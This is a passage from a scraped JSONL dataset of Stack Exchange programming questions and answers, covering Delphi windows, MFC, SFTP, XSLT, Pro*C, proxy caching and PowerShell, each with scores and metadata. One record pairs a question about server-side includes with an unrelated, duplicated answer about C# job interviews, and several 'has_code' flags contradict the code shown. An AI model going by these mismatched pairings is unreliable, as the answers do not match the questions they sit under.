TForm1.btnNotFullScreenClick(Sender: TObject);\nbegin\n  NotFullScreen;\nend;\n\nprocedure TForm1.btnShowTitleBarClick(Sender: TObject);\nbegin\n  ShowTitleBar;\nend;\n\nprocedure TForm1.btnHideTitleBarClick(Sender: TObject);\nbegin\n  HideTitleBar;\nend;\n\nprocedure TForm1.FullScreen;\nbegin\n  SavePosition;\n  HideTitleBar;\n  MaximizeWindow;\nend;\n\nprocedure TForm1.HideTitleBar;\nbegin\n  SetWindowLong(Handle,GWL_STYLE,GetWindowLong(Handle,GWL_STYLE) and not WS_CAPTION);\n  ClientHeight := Height;\nend;\n\nprocedure TForm1.MaximizeWindow;\nbegin\n  WindowState := wsMaximized;\nend;\n\nprocedure TForm1.NotFullScreen;\nbegin\n  RestorePosition;\n  ShowTitleBar;\nend;\n\nprocedure TForm1.RestorePosition;\nbegin\n  //this proc uses what we saved in \"SavePosition\"\n  WindowState := SavedWindowState;\n  Top := SavedTop;\n  Left := SavedLeft;\n  Width := SavedWidth;\n  Height := SavedHeight;\nend;\n\nprocedure TForm1.SavePosition;\nbegin\n  SavedLeft := Left;\n  SavedHeight := Height;\n  SavedTop := Top;\n  SavedWidth := Width;\n  SavedWindowState := WindowState;\nend;\n\nprocedure TForm1.ShowTitleBar;\nbegin\n  SetWindowLong(Handle,gwl_Style,GetWindowLong(Handle,gwl_Style) or ws_Caption or ws_border);\n  Height := Height + GetSystemMetrics(SM_CYCAPTION);\n  Refresh;\nend;\n\nend.\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:44.951712"}
{"id": "hf_923a08b54107", "question": "<p>What is the proper way for an MFC application to cleanly close itself?</p>\n", "question_body": "", "answer": "```\n```\nAfxGetMainWnd()->PostMessage(WM_CLOSE);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:45.000595"}
{"id": "hf_d38e38a4d3bf", "question": "<p>I've recently started work on the Compact Framework and I was wondering if anyone had some recommendations for unit testing beyond what's in VS 2008. MSTest is <em>ok</em>, but debugging the tests is a nightmare and the test runner is <em>so</em> slow.</p>\n\n<p>I see that NUnitLite on codeplex is an option, but it doesn't look very active; it's also in the roadmap for NUnit 3.0, but who knows when that will come out. Has anyone had any success with it?</p>\n", "question_body": "", "answer": "We use NUnitLite, although I think we did have had to add some code to it in order for it to work.\nOne of the problems we found is that if you are using parts of the platform that only exist in CF, then you can only run those tests in NUnitLite on an emulator or Windows Mobile device, which makes it hard to run the tests as part of an integrated build process. We got round this by added a new test attribute allowing you to disable the tests what would only run on the CF (typically these would be p/invoking out to some windows mobile only dll).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:45.025072"}
{"id": "hf_71cdba5178e2", "question": "<p>I need to be able to find the last occurrence of a character within an element.</p>\n\n<p>For example:</p>\n\n<pre><code>&lt;mediaurl&gt;http://www.blah.com/path/to/file/media.jpg&lt;/mediaurl&gt;\n</code></pre>\n\n<p>If I try to locate it through using <code>substring-before(mediaurl, '.')</code> and <code>substring-after(mediaurl, '.')</code> then it will, of course, match on the first dot.  </p>\n\n<p>How would I get the file extension?  Essentially, I need to get the file name and the extension from a path like this, but I am quite stumped as to how to do it using XSLT.</p>\n", "question_body": "", "answer": "How about tokenize with \"/\" and take the last element from the array ?\n```\n```\nExample: tokenize(\"XPath is fun\", \"\\s+\")\nResult: (\"XPath\", \"is\", \"fun\")\n```\n```\nWas an XSLT fiddler sometime back... lost touch now. But HTH", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:45.074683"}
{"id": "hf_547c10af24f2", "question": "<p>My scheduled reports in SQL server won't run. I checked the logs and found the job that was failing. The error message in the log was:</p>\n\n<blockquote>\n  <p>'EXECUTE AS LOGIN' failed for the requested login 'NT AUTHORITY\\NETWORK \n  SERVICE'. The step failed. </p>\n</blockquote>\n\n<p>I'm using SQL authentication for the report so it shouldn't be issues with the permissions to the data. No sheduled reports on the server will run.</p>\n", "question_body": "", "answer": "Can you check the permissions for your Network Service account?  Specifically make sure they have the \"Act as part of the OS\" permission.  If I'm reading the error message correctly, it looks like the NT AUTHORITY\\NETWORK SERVICE account failed to execute as a logged on user. It doesn't look like it ever got to the query, looks like it's failing in the Windows authentication portion, so never gets to the SQL authentication piece.\nYou might also check the Security Event Log in Windows.  If it is an authentication problem, there might be additional information logged by the OS.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:45.124746"}
{"id": "hf_204254515969", "question": "<p>I've been using Subversion for code control with TortoiseSVN to interface with the server for the past few months, and in general it's been going great!  However, occasionally my FoxPro IDE will change the case of a file extension without warning where \"<em>program.prg</em>\" becomes \"<em>program.<strong>PRG</em></strong>\")  TortoiseSVN apparently takes this to mean the first file was removed, becoming flagged as \"missing\" and the second name comes up as \"non-versioned\", wreaking havoc on my ability to track changes to the file.   I understand that Subversion has it origins in the case-sensitive world of *nix but, is there any way to control this behavior in either Subversion or TortoiseSVN to be file name case-insensitive when used with Windows?</p>\n", "question_body": "", "answer": "Unfortunately, Subversion is case-sensitive. This is due to the fact that files from Subversion can be checked out on both case-sensitive file systems (e.g., *nix) and case-insensitive file systems (e.g., Windows, Mac).\nThis pre-commit hook script\nmay help you avoid problems when you check in files. If it doesn't solve your problem, my best suggestion is to write a little script to make sure that all extensions are lowercase and run it every time before you check in/check out. It'll be a PITA, but maybe your best bet.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:45.162131"}
{"id": "hf_fa73e7ba5a54", "question": "<p>I'm trying to retrieve a file from a server using SFTP (as opposed to FTPS) using Java. How can I do this?</p>\n", "question_body": "", "answer": "This was the solution I came up with\nhttp://sourceforge.net/projects/sshtools/\n(most error handling omitted for clarity). This is an excerpt from\nmy blog\n```\n```\nSshClient ssh = new SshClient();\nssh.connect(host, port);\n//Authenticate\nPasswordAuthenticationClient passwordAuthenticationClient = new PasswordAuthenticationClient();\npasswordAuthenticationClient.setUsername(userName);\npasswordAuthenticationClient.setPassword(password);\nint result = ssh.authenticate(passwordAuthenticationClient);\nif(result != AuthenticationProtocolState.COMPLETE){\n     throw new SFTPException(\"Login to \" + host + \":\" + port + \" \" + userName + \"/\" + password + \" failed\");\n}\n//Open the SFTP channel\nSftpClient client = ssh.openSftpClient();\n//Send the file\nclient.put(filePath);\n//disconnect\nclient.quit();\nssh.disconnect();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:45.209072"}
{"id": "hf_a9f3a9b8b320", "question": "<p>Can a (||any) proxy server cache content that is requested by a client over https? As the proxy server can't see the querystring, or the http headers, I reckon they can't.</p>\n\n<p>I'm considering a desktop application, run by a number of people behind their companies proxy. This application may access services across the internet and I'd like to take advantage of the in-built internet caching infrastructure for 'reads'. If the caching proxy servers can't cache SSL delivered content, would simply encrypting the content of a response be a viable option?</p>\n\n<p>I am considering all GET requests that we wish to be cachable be requested over http with the body encrypted using asymmetric encryption, where each client has the decryption key. Anytime we wish to perform a GET that is not cachable, or a POST operation, it will be performed over SSL.</p>\n", "question_body": "", "answer": "No, it's not possible to cache https directly. The whole communication between the client and the server is encrypted. A proxy sits between the server and the client, in order to cache it, you need to be able to read it, ie decrypt the encryption.\nYou can do something to cache it. You basically do the SSL on your proxy, intercepting the SSL sent to the client. Basically the data is encrypted between the client and your proxy, it's decrypted, read and cached, and the data is encrypted and sent on the server. The reply from the server is likewise descrypted, read and encrypted. I'm not sure how you do this on major proxy software (like squid), but it is possible.\nThe only problem with this approach is that the proxy will have to use a self signed cert to encrypt it to the client. The client will be able to tell that a proxy in the middle has read the data, since the certificate will not be from the original site.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:45.267775"}
{"id": "hf_bda42eae5071", "question": "<p>When I try to precompile a *.pc file that contains a #warning directive I recieve the following error:</p>\n\n<blockquote>\n  <p>PCC-S-02014, Encountered the symbol \"warning\" when expecting one of the following: (bla bla bla).</p>\n</blockquote>\n\n<p>Can I somehow convince Pro*C to ignore the thing if it doesn't know what to do with it? I can't remove the <code>#warning</code> directive as it's used in a header file that I can't change and must include.</p>\n", "question_body": "", "answer": "You can't.  Pro*C only knows #if and #include.  My best advice would be to preprocess the file as part of your build process to remove stuff Pro*C won't like.  Something like\n```\n```\ngrep -v -E '^#(warning|pragma|define)' unchangeable.h >unchangeable.pc.h\n```\n```\nMy other advice would be to avoid the abomination which is Pro*C, but I'm guessing you're stuck with it...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:45.314647"}
{"id": "hf_004a23f1b567", "question": "<p>We're having sporadic, random query timeouts on our SQL Server 2005 cluster. I own a few apps that use it, so I'm helping out in the investigation. When watching the % CPU time in regular ol' Perfmon, you can certainly see it pegging out. However, SQL activity monitor only gives cumulative CPU and IO time used by a process, not what it's using right then, or over a specific timeframe. Perhaps I could use the profiler and run a trace, but this cluster is very heavily used and I'm afraid I'd be looking for a needle in a haystack. Am I barking up the wrong tree?</p>\n\n<p>Does anyone have some good methods for tracking down expensive queries/processes in this environment?</p>\n", "question_body": "", "answer": "Profiler may seem like a \"needle in a haystack\" approach, but it may turn up something useful. Try running it for a couple of minutes while the databases are under typical load, and see if any queries stand out as taking way too much time or hogging resources in some way. While a situation like this could point to some general issue, it could also be related to some specific issue with one or two sites, which mess things up enough in certain circumstances to cause very poor performance across the board.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:45.366835"}
{"id": "hf_fe29cd1d1c71", "question": "<p>I have been a VB.net developer for a few years now but I am currently applying to a few companies that use C#. I have even been told that at least one of the companies doesn't want VB.net developers. </p>\n\n<p>I have been looking online trying to find real differences between the two and have asked on crackoverflow. The only major differences are a few syntax difference which are trivial to me because I am also a Java developer. </p>\n\n<p>What would be a good response to an interviewer when they tell me they are looking for a C# developer - or similar questions?  </p>\n", "question_body": "", "answer": "I think the truth will-out on this:\nI'm a software developer, the syntax of the language is the final part of the puzzle. By employing me, you're getting someone with demonstrable experience of problem solving and logic. I'm experienced with the .NET environment, the CLR and the associated Windows stack, including SQL and Windows server. I don't know the C# syntax, but, I am used to object-oriented approach, I will have no problem getting totally up to speed on the finer points of the syntax within a couple of weeks. You can see from these examples of my code that I'm an experienced developer, I assure you the transition will be seamless. I have already made a start learning the language, I haven't had any problems so far.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:45.441872"}
{"id": "hf_1e80998817b3", "question": "<p>We have a website that uses <code>#include file</code> command to roll info into some web pages.  The authors can access the text files to update things like the occasional class or contact information for the department.</p>\n\n<p>My question is this, I don't <em>see</em> anyone using this method and wonder if it is a good idea to keep using it.  If not, what method should I transition to instead?</p>\n", "question_body": "", "answer": "I think the truth will-out on this:\nI'm a software developer, the syntax of the language is the final part of the puzzle. By employing me, you're getting someone with demonstrable experience of problem solving and logic. I'm experienced with the .NET environment, the CLR and the associated Windows stack, including SQL and Windows server. I don't know the C# syntax, but, I am used to object-oriented approach, I will have no problem getting totally up to speed on the finer points of the syntax within a couple of weeks. You can see from these examples of my code that I'm an experienced developer, I assure you the transition will be seamless. I have already made a start learning the language, I haven't had any problems so far.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:45.465132"}
{"id": "hf_68daf2d80b49", "question": "<p>I've noticed that a few Wordpress blogs have query statistics present in their footer that simply state the number of queries and the total time required to process them for the particular page, reading something like:</p>\n\n<blockquote>\n  <p>23 queries. 0.448 seconds</p>\n</blockquote>\n\n<p>I was wondering how this is accomplished.  Is it through the use of a particular Wordpress plug-in or perhaps from using some particular php function in the page's code?</p>\n", "question_body": "", "answer": "Try adding this to the bottom of the footer in your template:\n```\n```\n<?php echo $wpdb->num_queries; ?> <?php _e('queries'); ?>. <?php timer_stop(1); ?> <?php _e('seconds'); ?>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:45.561946"}
{"id": "hf_f8779cbe6d3e", "question": "<p>For part of my application I have a need to create an image of a certain view and all of its subviews.</p>\n\n<p>To do this I'm creating a context that wraps a bitmap with the same-size as the view, but I'm unsure how to draw the view hierarchy into it. I can draw a single view just be setting the context and explicitly calling drawRect, but this does not deal with all of the subviews.</p>\n\n<p>I can't see anything in the NSView interface that could help with this so I suspect the solution may lie at a higher level.</p>\n", "question_body": "", "answer": "You can use\n```\n-[NSView dataWithPDFInsideRect:]\n```\nto render the entire hierarchy of the view you send it to into a PDF, returned as an\n```\nNSData\n```\nobject.  You can then do whatever you wish with that, including render it into a bitmap.\nAre you sure you want a bitmap representation though?  After all, that PDF could be (at least in theory) resolution-independent.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:45.586773"}
{"id": "hf_174d4f13becb", "question": "<p>I'm thinking of learning the <code>ASP.NET MVC</code> framework for an upcoming project.  Can I use the advanced routing to create long URLs based on the sitemap hierarchy?</p>\n\n<p>Example navigation path:</p>\n\n<p><strong>Home > Shop > Products > Household > Kitchen > Cookware > Cooksets > Nonstick</strong></p>\n\n<p>Typical (I think) MVC URL:<br/>\n<a href=\"http://example.com/products/category/NonstickCooksets\" rel=\"nofollow noreferrer\">http://example.com/products/category/NonstickCooksets</a></p>\n\n<p>Desired URL:<br/>\n<a href=\"http://example.com/shop/products/household/kitchen/cookware/cooksets/nonstick\" rel=\"nofollow noreferrer\">http://example.com/shop/products/household/kitchen/cookware/cooksets/nonstick</a></p>\n\n<p>Can I do this?</p>\n", "question_body": "", "answer": "The MVC routing lets you define pretty much any structure you want, you just need to define what each of the pieces mean semantically. You can have bits that are \"hard-coded\", like \"shop/products\", and then define the rest as variable, \"{category}/{subcategory}/{speciality}\", etc.\nYou can also define several routes that all map to the same end point if you like. Basically, when a URL comes into your MVC app, it goes through the routing table until it finds a pattern that matches, fills in the variables and passes the request off to the appropriate controller for processing.\nWhile the default route is a simple Controller, Action, Id kind of setup, that's certainly not the extent of what you can do.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:45.662534"}
{"id": "hf_cab0229d0f84", "question": "<p>.NET, Java and other high level database API's in various language often provide techniques known as prepared statements and parameter binding as opposed to sending plain text commands to the Database server. What I would like to know is what happens when you execute a statement like this:</p>\n\n<pre><code>SqlCommand cmd = new SqlCommand(\"GetMemberByID\");\ncmd.CommandType = CommandType.StoredProcedure;\nSqlParameter param = new SqlParameter(\"@ID\", memberID);\npara.DbType = DbType.Integer;\ncmd.Parameters.Add(param);\n</code></pre>\n\n<p>I know this is a best practice. SQL injection attacks are minimized this way. But what exactly happens under the hood when you execute these statements? Is the end result still a SQL safe string?  If not, what is the end result? And is this enough to prevent SQL injection attacks?</p>\n", "question_body": "", "answer": "The MySQL manual page\non prepared statements provides lots of information (which should apply to any other RDBMS).\nBasically, your statement is parsed and processed ahead of time, and the parameters are sent separately instead of being handled along with the SQL code.  This eliminates SQL-injection attacks because the SQL is parsed before the parameters are even set.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:45.687012"}
{"id": "hf_9c93366093f5", "question": "<p>What is the best way to disable <kbd>Alt</kbd> + <kbd>F4</kbd> in a c# win form to prevent the user from closing the form?</p>\n\n<p>I am using a form as a popup dialog to display a progress bar and I do not want the user to be able to close it.</p>\n", "question_body": "", "answer": "You could handle the\n```\nFormClosing\n```\nevent and set\n```\nFormClosingEventArgs.Cancel\n```\nto\n```\ntrue\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:45.711678"}
{"id": "hf_9c7438639df5", "question": "<p>I am using xampp on Windows, but I would like to use something closer to my server setup.</p>\n\n<p><a href=\"http://phpimpact.wordpress.com/2008/05/24/virtual-appliances-lamp-development-made-easy/\" rel=\"nofollow noreferrer\">Federico Cargnelutti tutorial</a> explains how to setup LAMP VMWARE appliance; it is a great introduction to VMware appliances, but one of the commands was not working and it doesn't describe how to change the keyboard layout and the timezone.</p>\n\n<p>ps: the commands are easy to find but I don't want to look for them each time I reinstall the server. I am using this question as a reminder.</p>\n", "question_body": "", "answer": "Assuming you have VMware workstation, VMware player or anything that can run vmware appliance, you just need to:\nDownload, unzip\nUbuntu 8.04 Server\nand start the virtual machine.\nUpdate ubuntu and set the layout and the timezone:\n```\nsudo apt-get update\nsudo apt-get upgrade\nsudo dpkg-reconfigure console-setup\nsudo dpkg-reconfigure tzdata\nsudo vim /etc/network/interfaces\n```\nset a fixed IP\n(Optional).\ninstall apache+mysql+php:\n```\nsudo tasksel install lamp-server\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:45.821261"}
{"id": "hf_bb63b46109c0", "question": "<p>What are some macros that you have found useful in Visual Studio for code manipulation and automation? </p>\n", "question_body": "", "answer": "You might want to add in code snippets as well, they help to speed up the development time and increase productivity.\nThe standard VB code snippets come with the default installation. The C# code snippets must be downloaded and added seperately. (Link below for those)\nAs far as macros go, I generally have not used any but the working with Visual studio 2005 book has some pretty good ones in there.\nC# Code snippets Link:\nhttp://www.codinghorror.com/blog/files/ms-csharp-snippets.7z.zip\n(Jeff Atwood provided the link)\nHIH", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:45.870819"}
{"id": "hf_9db216513cdc", "question": "<p>How do I convert function input parameters to the right type?</p>\n\n<p>I want to return a string that has part of the URL passed into it removed.</p>\n\n<p><strong>This works, but it uses a hard-coded string:</strong></p>\n\n<pre><code>function CleanUrl($input)\n{\n    $x = \"http://google.com\".Replace(\"http://\", \"\")\n    return $x\n}\n\n$SiteName = CleanUrl($HostHeader)\necho $SiteName\n</code></pre>\n\n<p><strong>This fails:</strong></p>\n\n<pre><code>function CleanUrl($input)\n{\n    $x = $input.Replace(\"http://\", \"\")\n    return $x\n}\n\nMethod invocation failed because [System.Array+SZArrayEnumerator] doesn't contain a method named 'Replace'.\nAt M:\\PowerShell\\test.ps1:13 char:21\n+     $x = $input.Replace( &lt;&lt;&lt;&lt; \"http://\", \"\")\n</code></pre>\n", "question_body": "", "answer": "```\n```\nfunction CleanUrl([string] $url)\n{\n    return $url.Replace(\"http://\", \"\")\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:45.907579"}
{"id": "hf_dbdbfce212f2", "question": "<p>I have a job interview tomorrow for a .NET shop.  For the past few years I have been developing in languages other than .NET and figure it is probably a good idea to brush up on what is cool and new in the world of .NET.  I've been reading about LINQ and WPF but these are more technologies than trends.  What else should I look at?</p>\n\n<p>Been reading things like:</p>\n\n<ul>\n<li><a href=\"http://msdn.microsoft.com/en-us/library/bb332048.aspx\" rel=\"nofollow noreferrer\">http://msdn.microsoft.com/en-us/library/bb332048.aspx</a></li>\n<li><a href=\"http://msdn.microsoft.com/en-us/library/ms754130.aspx\" rel=\"nofollow noreferrer\">http://msdn.microsoft.com/en-us/library/ms754130.aspx</a></li>\n</ul>\n\n<p><strong>Edit</strong></p>\n\n<p>As it turns out this interview was high level and we didn't really get into much which was more .NET specific than generics.  </p>\n", "question_body": "", "answer": "This is completely language agnostic so you may want to skip over it, but I've based a lot of my practice and preparation for job interviews around\nSteve Yegge's getting a job at google post\n.\nI use a lot of the topics there not only as an interview preparedness guide, but also as a list of things that I\nSHOULD\nknow about. Admittedly I am still working my way through some of the books and exercises, but every little bit helps.\nEDIT:\nI'm not sure if it necessarily a good thing to focus specifically on the latest\ntrends\nin web development for job interviews. When I am interviewing someone I am more impressed if they can write a recursive function to solve some problem or write a really cool algorithm, then if they know all the details about\nsome latest thing that is going to fix everything but it's really just a buzzword", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:45.970621"}
{"id": "hf_f0a1b9c59cea", "question": "<p>I'd like to take an existing application (written in OCaml) and create an Emacs \"interface\" for it (like, for example, the Emacs GDB mode). I would prefer to do this without writing a ton of Lisp code. In MVC terms, I'd like for the View to be Emacs, but for the Model and Controller to remain (primarily) OCaml.</p>\n\n<p>Does anybody know of a way to write Emacs extensions in a language other than Lisp? This could either take the form of bindings to the Emacs extension API in some other language (e.g., making OCaml a first-class Emacs extension language) or an Emacs interaction mode where, for example, the extension has a pipe into which it can write Emacs Lisp expressions and read out result values.</p>\n", "question_body": "", "answer": "I don't know if this will work for your particular problem, but I have been doing something similar using the shell-command-to-string function:\n```\n```\n(shell-command-to-string\n    \"bash -c \\\"script-to-exec args\\\"\")\n```\n```\nSo for example, we have existing scripts written in python which will mangle a file, so the above lets me invoke the script via emacs lisp.\nA quick google search\nfound this page\ndescribing a system to write extensions in Python, so it seems feasible to do what you want... you will just have to see if anyone has written a similar framework for OCaml.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:46.070945"}
{"id": "hf_e157781b2434", "question": "<p>What is the best way to iterate through a strongly-typed generic List in C#.NET and VB.NET?</p>\n", "question_body": "", "answer": "For C#:\n```\n```\nforeach(ObjectType objectItem in objectTypeList)\n{\n    // ...do some stuff\n}\n```\n```\nAnswer for VB.NET from\nPurple Ant\n:\n```\n```\nFor Each objectItem as ObjectType in objectTypeList\n    'Do some stuff '\nNext\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:46.125035"}
{"id": "hf_b130bd57dde9", "question": "<p>I'd like to make a debug logging function with the same parameters as <code>printf</code>.  But one that can be removed by the pre-processor during optimized builds.</p>\n\n<p>For example:</p>\n\n<pre><code>Debug_Print(\"Warning: value %d &gt; 3!\\n\", value);\n</code></pre>\n\n<p>I've looked at variadic macros but those aren't available on all platforms. <code>gcc</code> supports them, <code>msvc</code> does not.</p>\n", "question_body": "", "answer": "What platforms are they not available on? stdarg is part of the standard library:\nhttp://www.opengroup.org/onlinepubs/009695399/basedefs/stdarg.h.html\nAny platform not providing it is not a standard C implementation (or very, very old). For those, you will have to use varargs:\nhttp://opengroup.org/onlinepubs/007908775/xsh/varargs.h.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:46.190901"}
{"id": "hf_159f7ba1be24", "question": "<p>The main web application of my company is crying out for a nifty set of libraries to make it in some way maintainable and scalable, and one of my colleagues has suggested CSLA. So I've bought the book but as :</p>\n\n<blockquote>\n  <p><em>programmers don't read books anymore</em></p>\n</blockquote>\n\n<p>I wanted to gauge the SOFlow community's opinion of it.</p>\n\n<p>So here are my questions:</p>\n\n<ol>\n<li>How may people are using CSLA?</li>\n<li>What are the pros and cons?</li>\n<li>Does CSLA really not fit in with TDD?</li>\n<li>What are my alternatives?</li>\n<li>If you have stopped using it or decided against why?</li>\n</ol>\n", "question_body": "", "answer": "We started using CSLA because we thought it would help with our model layer.  Was sort of overkill and mostly all we use now is the SmartDate class, just because we're already linked to the library.\nWe thought the validation interface would really help us enforce business rules but it didn't work well with WCF and serialization (we're still stuck on version 2.0.3.0, so things might have changed).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:46.216750"}
{"id": "hf_70208d3f1a38", "question": "<p>I want a data structure that will allow querying <em>how many items in last <strong>X</strong> minutes</em>. An item may just be a simple identifier or a more complex data structure, preferably the timestamp of the item will be in the item, rather than stored outside (as a hash or similar, wouldn't want to have problems with multiple items having same timestamp).</p>\n\n<p>So far it seems that with LINQ I could easily filter items with timestamp greater than a given time and aggregate a count. Though I'm hesitant to try to work .NET 3.5 specific stuff into my production environment yet. Are there any other suggestions for a similar data structure?</p>\n\n<p>The other part that I'm interested in is <em>aging</em> old data out, If I'm only going to be asking for counts of items less than 6 hours ago I would like anything older than that to be removed from my data structure because this may be a long-running program.</p>\n", "question_body": "", "answer": "I think that an important consideration will be the frequency of querying vs. adding/removing.  If you will do frequent querying (especially if you'll have a large collection) a B-tree may be the way to go:\nhttp://en.wikipedia.org/wiki/B-tree\nYou could have some thread go through and clean up this tree periodically or make it part of the search (again, depending on the usage).  Basically, you'll do a tree search to find the spot \"x minutes ago\", then count the number of children on the nodes with newer times.  If you keep the number of children under the nodes up to date, this sum can be done quickly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:46.277923"}
{"id": "hf_be9ed602ee24", "question": "<p>What does it mean when you get or create a date in UTC format in JavaScript?</p>\n", "question_body": "", "answer": "getUTC is for converting times to Coordinated Universal Time (UTC, the acronym is ordered differently than what it stands for) which is the standard time based on the time in Greenwich, London.\nThe universal time is calculated using a time offset (in minutes when in JavaScript.) This offset is based on the time zone configured on the client browser's operating system.\nIf you plan on storing dates for users in multiple time zones, this is what you should use.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:46.301843"}
